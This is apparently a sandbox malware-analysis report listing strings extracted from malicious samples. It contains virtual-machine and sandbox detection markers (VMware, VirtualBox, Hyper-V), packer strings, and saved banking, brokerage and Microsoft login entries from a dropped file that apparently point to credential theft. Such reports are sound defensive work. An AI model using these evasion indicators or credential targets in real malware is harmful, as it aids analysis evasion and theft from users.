Source: Amcache.hve.5.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: GDHIIIIE.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (core)
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: "Windows 8 Microsoft Hyper-V Server
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (full)
Source: explorti.exe, explorti.exe, 0000000A.00000002.2306904685.0000000000454000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 0000000E.00000002.2726272869.0000000000454000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 0000000F.00000002.3327245579.0000000000454000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 00000010.00000002.3930380619.0000000000454000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 00000011.00000002.4487239376.0000000000454000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (full)
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual USB Mouse
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V
Source: GDHIIIIE.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Microsoft Hyper-V Server
Source: 8550c65a2f.exe, 0000000B.00000002.2341495312.000000000142E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware~
Source: Amcache.hve.5.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (core)
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V (core)
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Essential Server Solutions without Hyper-V
Source: GDHIIIIE.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: GDHIIIIE.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: GDHIIIIE.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V (core)
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Hyper-V (guest)
Source: Amcache.hve.5.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: GDHIIIIE.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: GDHIIIIE.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: GDHIIIIE.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: GDHIIIIE.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Essential Server Solutions without Hyper-V
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Microsoft Hyper-V Server
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin`
Source: GDHIIIIE.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Amcache.hve.5.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000074C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000066C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ~VirtualMachineTypes
Source: GDHIIIIE.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: GDHIIIIE.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000074C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000066C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ]DLL_Loader_VirtualMachine
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Microsoft Hyper-V Server
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000074C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000066C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: /Windows 2012 R2 Server Standard without Hyper-V
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: )Windows 8 Server Standard without Hyper-V
Source: FCFBGIDAEH.exe, 00000007.00000001.2204321564.0000000000224000.00000040.00000001.01000000.00000009.sdmp, FCFBGIDAEH.exe, 00000007.00000002.2261015372.0000000000224000.00000040.00000001.01000000.00000009.sdmp, explorti.exe, 00000009.00000002.4487286913.0000000000454000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 0000000A.00000002.2306904685.0000000000454000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 0000000E.00000002.2726272869.0000000000454000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 0000000F.00000002.3327245579.0000000000454000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 00000010.00000002.3930380619.0000000000454000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 00000011.00000002.4487239376.0000000000454000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (full)
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (core)
Source: GDHIIIIE.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (full)
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (core)
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: %Windows 2012 Microsoft Hyper-V Server
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Hyper-V
Source: Amcache.hve.5.dr	Binary or memory string: VMware
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: $Windows 8.1 Microsoft Hyper-V Server
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ,Windows 2012 Server Standard without Hyper-V
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (full)
Source: GDHIIIIE.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: j7iUba2bki.exe, 00000000.00000002.2215514632.0000000001744000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware<
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Microsoft Hyper-V Server
Source: GDHIIIIE.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (core)
Source: GDHIIIIE.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Essential Server Solutions without Hyper-V
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Essential Server Solutions without Hyper-V
Source: j7iUba2bki.exe, 00000000.00000002.2215514632.000000000179C000.00000004.00000020.00020000.00000000.sdmp, j7iUba2bki.exe, 00000000.00000002.2215514632.000000000176C000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000009.00000002.4488287215.0000000000D34000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000009.00000002.4488287215.0000000000CEE000.00000004.00000020.00020000.00000000.sdmp, 8550c65a2f.exe, 0000000B.00000002.2341495312.00000000014A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: GDHIIIIE.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V (core)
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (core)
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 7Windows 2012 Essential Server Solutions without Hyper-V
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (full)
Source: Amcache.hve.5.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (core)
Source: GDHIIIIE.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (full)
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (full)
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: %Windows 2016 Microsoft Hyper-V Server
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (full)
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (core)
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (core)
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 7Windows 2016 Essential Server Solutions without Hyper-V
Source: GDHIIIIE.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: GDHIIIIE.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: +Windows 8.1 Server Standard without Hyper-V
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (core)
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.5.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: 8550c65a2f.exe, 0000000B.00000002.2341495312.000000000142E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: GDHIIIIE.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (core)
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.5.dr	Binary or memory string: VMware VMCI Bus Device
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (core)
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (full)
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (full)
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (core)
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (core)
Source: GDHIIIIE.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (full)
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: :Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: GDHIIIIE.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 11 Essential Server Solutions without Hyper-V
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V (core)
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V (core)
Source: Amcache.hve.5.dr	Binary or memory string: VMware, Inc.
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 10 Essential Server Solutions without Hyper-V
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1hbin@
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: xVBoxService.exe
Source: Amcache.hve.5.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: GDHIIIIE.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (core)
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (full)
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (full)
Source: Amcache.hve.5.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: GDHIIIIE.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
